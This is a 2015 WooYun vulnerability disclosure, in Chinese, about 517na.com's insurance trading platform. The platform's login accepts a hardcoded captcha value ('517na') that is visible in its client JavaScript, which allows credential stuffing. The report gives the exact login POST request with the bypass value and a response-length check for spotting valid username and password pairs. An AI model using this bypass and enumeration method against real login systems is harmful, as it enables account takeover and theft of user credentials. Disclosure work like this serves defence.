当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0112196
漏洞标题：
PC保险交易平台登录，无视验证码，进行撞库(实例)
相关厂商：
517na.com
漏洞作者：
路人甲
提交时间：
2015-05-05 18:15
修复时间：
2015-05-10 18:16
公开时间：
2015-05-10 18:16
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
15
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-05-05： 细节已通知厂商并且等待厂商处理中
2015-05-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

PC保险交易平台登录，无视验证码，进行撞库
登录地址：bx.517na.com
POST /Login/LoginAjax HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://bx.517na.com/
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Proxy-Connection: Keep-Alive
Content-Length: 43
Host: bx.517na.com
Pragma: no-cache
Cookie: 517NA_InsuranceTradeWeb_DEFAULT=USERID=97d73452-fc40-4d4e-9922-6290a987edda
Connection: close
userID=qwe123&pwd=qwe123&validateCode=517na

详细说明：

<code> // 验证码出现时才校验 var validateCode = "517na"; if ($("#divValidate").hasClass("hide") === false) { validateCode = $("#txtValidateCode").val(); if (validateCode == "" || validateCode == undefined) { layer.alert("请输入验证码", true, "信息", function (index) { layer.close(index); globol = $('#txtValidateCode'); globol.focus(); }); return false; } }

后台代码里会不会也来一个呢 var validateCode = "517na"; 动手试试，真的OK 了 验证码写上517na 就报密码或用户名错误，随便输入验证码就报验证码错误</code>
length大于431 都为正确的用户跟密码

漏洞证明：

5171.png

5172.png

5173.png

5174.png

5176.png

5179.png

修复方案：

之前提交未通过。。。这次应该可以了。。
修复你们懂的！
有小礼物吗！

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-10 18:16

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无